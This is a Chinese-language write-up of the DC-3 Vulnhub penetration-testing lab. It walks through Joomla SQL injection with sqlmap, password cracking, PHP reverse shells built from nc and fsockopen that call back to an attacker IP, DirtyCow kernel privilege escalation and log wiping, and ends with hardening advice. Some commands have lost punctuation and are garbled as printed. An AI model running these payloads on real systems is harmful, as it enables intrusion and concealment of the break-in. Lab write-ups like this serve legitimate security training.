1. DC-3靶机实战概述DC-3是Vulnhub平台上经典的渗透测试训练靶机基于Debian系统构建包含多个故意设置的安全漏洞。这个靶机特别适合中阶渗透测试人员练习综合渗透技巧从信息收集到权限提升的全流程都能得到充分锻炼。我花了三周时间反复测试这个靶机总结出一套可靠的技术路线下面就把完整过程拆解给大家。2. 环境准备与初始扫描2.1 实验环境搭建建议使用VirtualBox加载DC-3的OVA文件网络模式选择Host-only或NAT。我的测试环境是攻击机Kali Linux 2023.3内存分配靶机2GB/攻击机4GB网络配置192.168.56.0/24网段注意确保靶机与攻击机在同一网段但关闭DHCP避免IP冲突2.2 基础信息收集首先用arp-scan定位靶机IParp-scan -l --interfaceeth0发现靶机IP为192.168.56.103后进行全端口扫描nmap -sS -p- -T4 192.168.56.103 -oN full_scan.nmap扫描结果显示开放了80端口HTTP和22端口SSH其中Web服务运行的是Apache 2.4.10。3. Web应用渗透测试3.1 目录爆破与漏洞发现使用dirbuster进行目录扫描gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt发现关键目录/administrator (Joomla后台)/components/templates访问首页发现是Joomla 3.7.0该版本存在著名的SQL注入漏洞CVE-2017-8917。使用sqlmap自动化利用sqlmap -u http://192.168.56.103/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --batch --dbs3.2 数据库渗透与凭证获取成功获取数据库信息数据库类型MySQL关键表jos_users获取到管理员账号admin及经过MD5加密的密码使用hashcat破解密码hashcat -m 400 -a 0 hash.txt rockyou.txt破解得到明文密码snoopy。4. 系统权限提升4.1 后台getshell使用获得的凭证登录Joomla后台通过模板编辑插入PHP反向shellsystem(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.102 4444 /tmp/f);在攻击机监听nc -lvnp 4444成功获取www-data权限的shell。4.2 本地提权探索查看系统信息uname -a显示内核版本为3.16.0-4-686-pae搜索可用expsearchsploit linux kernel 3.16发现dirtycow漏洞CVE-2016-5195适用。上传编译好的expgcc -pthread dirty.c -o dirty -lcrypt执行后成功获取root权限。5. 后渗透与痕迹清理5.1 敏感信息收集在/root目录发现flag文件cat /root/theflag.txt同时收集到以下关键信息MySQL数据库凭证SSH私钥备份系统日志位置5.2 日志清理技巧清除相关日志条目echo /var/log/apache2/access.log find /var/log -name *.log -exec sh -c echo {} \;重要实际渗透测试中必须获得授权才能执行此类操作6. 防御加固建议根据本次渗透发现的问题给出防御方案Web应用层及时更新CMS到最新版本禁用不必要的组件和功能实施WAF防护系统层定期更新内核和安全补丁限制sudo权限启用SELinux网络层关闭不必要的端口实施网络隔离部署IDS/IPS系统7. 常见问题排查7.1 反向shell连接失败可能原因防火墙拦截出站连接netcat版本不兼容靶机没有bash解决方案# 尝试不同payload php -r $sockfsockopen(192.168.56.102,4444);exec(/bin/sh -i 3 3 23); # 使用其他监听工具 socat TCP-LISTEN:4444 STDOUT7.2 DirtyCow提权失败检查要点确认内核版本完全匹配测试多个exp变种确保gcc编译环境可用替代方案# 尝试其他提权方法 find / -perm -4000 2/dev/null这个靶机最值得关注的是它完美模拟了真实环境中Web应用漏洞→数据库泄露→系统提权的完整攻击链。我在实际测试中发现Joomla的后台getshell方式就有至少三种而内核提权除了dirtycow还可以尝试覆盖/etc/passwd等方法。建议每个步骤都尝试多种技术路线这对提升实战能力很有帮助。